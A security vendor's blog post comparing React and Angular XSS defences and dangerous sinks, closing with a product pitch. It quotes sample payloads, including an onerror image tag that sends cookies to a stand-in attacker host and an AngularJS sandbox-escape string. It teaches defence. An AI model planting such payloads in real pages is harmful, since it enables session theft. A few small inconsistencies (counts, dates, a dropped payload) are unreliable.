React and Angular both ship default XSS protections, but they draw the line between "safe by default" and "developer's problem now" in different places — and that difference shows up in real CVEs. React auto-escapes everything you interpolate into JSX, except for href/src URL attributes and anything passed to dangerouslySetInnerHTML. Angular runs every binding through one of five SecurityContext sanitizers, but hands you five bypassSecurityTrust* methods that turn that protection off entirely if a developer decides a value is "trusted." Neither framework failure is theoretical: AngularJS's original expression sandbox was bypassed so many times between 2013 and 2016 that Google removed it outright in AngularJS 1.6. This post walks through where each framework's guardrails actually stop, what that means for your dependency tree and CSP posture, and where teams shipping either framework keep reintroducing the same sink-based bugs — in short, the secure coding practices each framework demands once its defaults run out.
Does React Auto-Escape User Input by Default?
Yes — React escapes every value interpolated into JSX text content and most attributes before it touches the DOM, but that protection has exactly two gaps: dangerouslySetInnerHTML and unsanitized URL attributes. When you write <div>{comment.body}</div>, React converts comment.body to a text node, so <script> tags render as literal text instead of executing. That protection has been part of JSX since React's public release in 2013 and hasn't changed in React 18 or React 19 (shipped December 5, 2024).
The gaps are well documented but still get missed in code review. First, dangerouslySetInnerHTML={{ __html: value }} renders value as raw HTML with zero sanitization — it's the React team's intentionally scary-named escape hatch, and it shows up constantly in markdown renderers, rich-text editors, and CMS-driven content blocks. Second, React does not validate URL schemes in href or src. <a href={userSuppliedUrl}> will happily render href="javascript:alert(document.cookie)" and execute it on click, because React treats the string as an opaque attribute value, not a URL to be parsed. Neither gap is a bug — both are documented in the React docs — but both require the developer to sanitize manually, which is exactly the kind of control that's easy to add once and forget to add on the next four components.
How Does Angular's DomSanitizer Differ from React's Approach?
Angular takes a context-aware approach: its DomSanitizer classifies every binding into one of five SecurityContext types — NONE, HTML, STYLE, SCRIPT, URL, and RESOURCE_URL — and applies different sanitization rules to each, instead of running one blanket escaping pass the way React's JSX transform does. This has been Angular's default behavior since Angular 2 shipped in September 2016, and it means a [style.background] binding is sanitized differently than a [src] binding on an <iframe>, which Angular treats as RESOURCE_URL — the strictest context, because iframe sources can load arbitrary executable content.
The escape hatch is bypassSecurityTrustHtml(), bypassSecurityTrustScript(), bypassSecurityTrustStyle(), bypassSecurityTrustUrl(), and bypassSecurityTrustResourceUrl() — five explicit methods a developer has to call by name to turn sanitization off for a specific value. That explicitness is a real security advantage over React's single dangerouslySetInnerHTML prop: a codebase search for bypassSecurityTrust finds every deliberate sanitization bypass in the app. Angular also added native Trusted Types support in Angular 11 (November 2020), letting teams enforce at the browser level that only DomSanitizer-approved strings can ever reach a dangerous DOM sink — a defense-in-depth layer React doesn't provide out of the box.
Why Did AngularJS Remove Its Expression Sandbox in 2017?
Because security researchers published a steady stream of working bypasses between 2013 and 2016 that proved the sandbox was creating a false sense of safety rather than an actual security boundary, so the Angular team removed it entirely starting with AngularJS 1.6, released in December 2016. The sandbox was meant to stop template injection — the idea that {{constructor.constructor('alert(1)')()}} style expressions couldn't reach arbitrary JavaScript execution even if user input landed inside an Angular expression. Researchers including Mario Heiderich repeatedly found new bypass strings, Google patched them, and new bypasses appeared within weeks, for roughly three years straight.
The Angular team's own announcement was blunt: the sandbox was "not, and was never intended to be, a security feature." That's the concrete lesson for anyone evaluating either framework today — template/expression sandboxing and JSX auto-escaping are useful defense-in-depth, but they are not a substitute for treating any user-controlled string that reaches a template as untrusted input requiring explicit output encoding or a real sanitizer. Modern Angular (2+) doesn't have this specific sandbox problem because it compiles templates to TypeScript at build time rather than evaluating expression strings at runtime — but the underlying lesson about not trusting a framework's internal safety net still applies to bypassSecurityTrust* calls and dangerouslySetInnerHTML today.
Which Framework Pulls In More Third-Party Code by Default?
Angular does — a default ng new scaffold installs roughly 20 first-party @angular/* packages (core, common, compiler, forms, router, platform-browser, animations, and more) plus their transitive dependencies before a developer writes any business logic, while a default Create React App or Vite + React setup installs two runtime packages, react and react-dom, and leaves routing, forms, and HTTP client choices — and their dependency trees — to the developer. That's a real difference in initial attack surface, but it's also a trade: Angular's bundled packages are maintained by the Angular team on a synchronized release train, while React's ecosystem approach means teams often assemble a comparable feature set from independently maintained packages like react-router, axios, and react-hook-form, each with its own maintainers, release cadence, and supply chain risk.
Either way, the dependency count matters because npm supply chain attacks don't care which UI framework sits on top of the compromised package. The event-stream incident in November 2018 — where a maintainer handed off a popular package to an attacker who added a malicious flatmap-stream dependency targeting a Bitcoin wallet app — and the ua-parser-js compromise on October 22, 2021, where malicious versions 0.7.29, 0.8.0, and 1.0.0 were published for roughly four hours and pulled cryptomining and credential-stealing payloads into thousands of downstream builds, both hit projects regardless of whether they were built on React, Angular, or something else. A larger first-party dependency tree, like Angular's, means more packages to monitor for exactly this kind of takeover; a thinner one, like React's, shifts that same monitoring burden onto whichever third-party packages you chose to fill the gaps.
Can Both Frameworks Run Under a Strict Content-Security-Policy?
Yes, but Angular gets there with less configuration out of the box: Angular's Ahead-of-Time (AOT) compiler, the default build mode since Angular 9 (February 2020), compiles templates to JavaScript at build time and never calls eval() or new Function() at runtime, so a strict CSP with no unsafe-eval directive works without extra setup. React apps are equally capable of running under a strict CSP — React itself doesn't use eval() — but teams sometimes hit friction from third-party libraries (older state management middleware, certain server-side rendering data-fetching patterns, or styled-components in some configurations) that rely on runtime code generation and require unsafe-eval until replaced or upgraded.
Nonce-based CSP for inline <style> and <script> tags works in both frameworks but needs explicit plumbing: Angular's ngCspNonce attribute, added to platform-browser for exactly this purpose, propagates a nonce to Angular-injected styles, while React SSR frameworks like Next.js require passing the nonce through <Script nonce={nonce}> or middleware headers manually. Trusted Types enforcement — supported natively in Angular since v11 — has less first-party tooling in React; teams typically add the trusted-types npm package or a custom policy and manually audit every dangerouslySetInnerHTML call site against it.
What Does a Real Dangerous-Sink Vulnerability Look Like in Each Framework?
It looks like a rendering shortcut that skipped sanitization on user-controlled input reaching a dangerous sink — the pattern shows up almost identically in both frameworks despite their different APIs. In React, a common version is a markdown renderer wired up like this:
function Comment({ markdown }) {
return <div dangerouslySetInnerHTML={{ __html: marked(markdown) }} />;
}
marked() converts markdown to HTML but doesn't strip <script> or onerror handlers by default, so a comment body containing ) executes on every viewer's page. The fix is running the output through a dedicated sanitizer like DOMPurify before it ever reaches dangerouslySetInnerHTML, not just trusting the markdown library.
In Angular, the equivalent pattern is a component that decides a user-supplied bio field is "safe enough":
this.safeBio = this.sanitizer.bypassSecurityTrustHtml(user.bioHtml);
If user.bioHtml came from a profile edit form with no server-side allowlist, an attacker sets their bio to <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)"> and every visitor to that profile page runs it, because bypassSecurityTrustHtml tells Angular's sanitizer to skip its own checks entirely. Both examples are the same root cause wearing a different framework's syntax: a developer explicitly opted out of the built-in protection for untrusted input.
How Safeguard Helps
Safeguard's reachability analysis traces exactly which of these dangerous-sink patterns — dangerouslySetInnerHTML, bypassSecurityTrust*, unsanitized href/src bindings — are actually wired to attacker-reachable input in your running application, instead of flagging every occurrence in the codebase regardless of exposure. Griffin AI reviews the surrounding data flow to tell you whether a flagged sink is fed by a sanitized value, an internal constant, or genuinely untrusted user input, cutting through the noise that makes teams start ignoring scanner output. Safeguard also generates and ingests SBOMs across your React and Angular dependency trees so a repeat of event-stream or ua-parser-js gets caught the moment a compromised version lands, not weeks later. When a real issue is confirmed, Safeguard opens an auto-fix PR — swapping a raw dangerouslySetInnerHTML call for a DOMPurify-sanitized version, or replacing a bypassSecurityTrustHtml call with a scoped sanitizer — so the fix ships in your next merge instead of your next security review. Tooling like this doesn't replace secure coding practices in either framework — it catches the day someone steps around them.